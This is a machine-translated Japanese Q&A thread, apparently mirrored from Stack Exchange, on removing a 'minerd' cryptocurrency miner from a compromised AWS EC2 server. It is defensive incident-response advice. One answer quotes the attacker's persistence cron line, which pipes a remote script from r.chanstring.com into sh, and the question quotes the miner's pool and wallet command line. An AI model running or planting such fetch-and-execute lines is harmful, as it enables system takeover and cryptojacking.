web-dev-qa-db-ja.com

AWS EC2インスタンスでマイナードマルウェアをどのように殺すことができますか?

RHEL 7.2を実行しているAWS EC2インスタンスがあり、BitCoin CPUマイナーによってハッキングされたようです。 ps -eo pcpu,args --sort=-%cpu | headを実行すると、CPU使用率の90%以上を占めているCPUマイナーが存在することがわかります。

%CPU COMMAND
99.8 /opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 47TS1NQvebb3Feq91MqKdSGCUq18dTEdmfTTrRSGFFC2fK85NRdABwUasUA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x

top -bn2 |sed -n '7,25'pを実行したときにも表示されます-

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
21863 root      20   0  237844   3300   1012 S 42.0  0.1   3:49.55 minerd

私はminerd/opt/から削除しようとしていますが、再び回転し続けます。以前はKHK75NEOiq33yamディレクトリがありました。削除できましたが、minerdは削除できませんでした。

これを完全に削除するにはどうすればよいですか? Sudo kill -9Sudo kill -2を使用して、PIDを個別に強制終了することも試みました。それを取り除くために使用できるアンチウイルスはありますか?

[〜#〜] edit [〜#〜]-質問は 別の質問 への重複の可能性があるとマークされました。ただし、違いは、特定のマルウェアについて問い合わせていることです。質問の解決策を見つけました。これを以下に投稿します。

6
Anish Sana

minerdを削除する解決策を見つけました。私は幸運にも、サーバーへの感染に使用された 実際のスクリプト を見つけることができました。私がしなければならなかったのは、このスクリプトによって配置された要素を削除することだけでした-

  1. monkeyotosuggestion で、マイニングプールサーバーとのすべての通信をブロックしました-iptables -A INPUT -s xmr.crypto-pool.fr -j DROPおよびiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
  2. Cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh/var/spool/cron/rootおよび/var/spool/cron/crontabs/rootから削除しました。
  3. ディレクトリ/opt/yamを削除しました。
  4. /root/.ssh/KHK75NEOiqを削除しました。
  5. ファイル/opt/minerdおよび/opt/KHK75NEOiq33を削除しました。
  6. Minerdプロセスを停止しました-pkill minerd
  7. 停止しましたlady-service lady stop

その後、ps -eo pcpu,args --sort=-%cpu | headtop -bn2 |sed -n '7,25'pps aux | grep minerdを実行したところ、マルウェアは見られませんでした。

どのようにしてシステムにアクセスしたのかを理解する必要がありますが、この方法で無効にすることができました。

10
Anish Sana

最初の目標は(再インストールしたくない場合)、そもそもそこに到達する方法を決定することです。攻撃者が巧妙だった場合、「timestomp」を実行してバイナリの日付を変更する必要がありました。脆弱なバージョンのWordpress、Joomla、または別のものを実行している場合、SSHを最小化してもほとんど効果がありません。たとえば、 minerdを実行するために誰かが使用したNagiosエクスプロイト がありました。したがって、目標は...「何が実行されているか、なぜ実行されているのか、そして脆弱なのかを判断する」

次に、マイニングプールサーバーとの間のすべての通信をブロックします。

iptables -A INPUT -S xmr.crypto-pool.fr -j DROP

では、何が変更/変更/脆弱性されたかをどのように判断しますか?システムを理解する必要があります。それは何をするのか、なぜそれをするのか、そして誰がそれにアクセスする必要があるのか​​。私はcrontabsを検索して、何かが始まっているかどうかを確認します。実行できます:service --status-all実行中または起動中のサービスを確認し、それらを調査します。/opt/minerdはファイルのようです。そのファイルのチェックサムと、そのファイルを呼び出すもの、または一致するファイルを検索するスクリプトを作成できます。例:find / | xargs grep -i minerdまたはfind / | xargs grep -i CHECKSUM_of_MINERD(これは、ファイル内を検索する残忍な方法です)。

3番目に、ログを確認します。 Webサーバーを実行している場合は、エラーログ(error_logs)から始め、アドレスから複数の403と404を探し、その後にaccess_logで接続が成功することを確認します。受け入れられたパス(例:200:/var/www/nagios_or_something_vulnerable/config.php)を確認し、ディレクトリ内を確認します。この情報を見つけるには多くの方法がありますが、投稿された限られた量の情報に基づいて情報を推測することしかできないため、ここでは誰も完全な答えを出すことができません。

「minerdという名前のファイルを開始しています!」そのファイルを掘る。 (find /|xargs grep -i minerd)。 「この奇妙な文字列を使用しています!」 (find / |xargs grep -i 47TS1NQvebb3Feq)。 「ポート8080に接続します!」 (lsof -i | awk '/8080|http-alt/{print $1"\t"$2"\t"$8"\t"$9}')。 「このアドレスに接続しています!」 (lsof -i | grep xmr.crypto ...これで、できることのベースラインができました。

7
munkeyoto

問題は、minerdがおそらく一部の(その他の)マルウェアのペイロードであるため、システムで他に何が危険にさらされているのか実際には分からないことです。おそらく、システム上に他に何も常駐しておらず、鉱夫を殺すたびに再感染しているだけです。

または、サーバーへのバックドアを開いた管理/ドロッパープロセスがあります。

最も安全な方法は、サーバーを再作成することです。しかし、スキャンしたい場合は、Sophos Anti-Virusを無料で入手できます https://www.sophos.com/en-us/products/free-tools/sophos-antivirus-for-linux.aspx

5
Douglas Leeder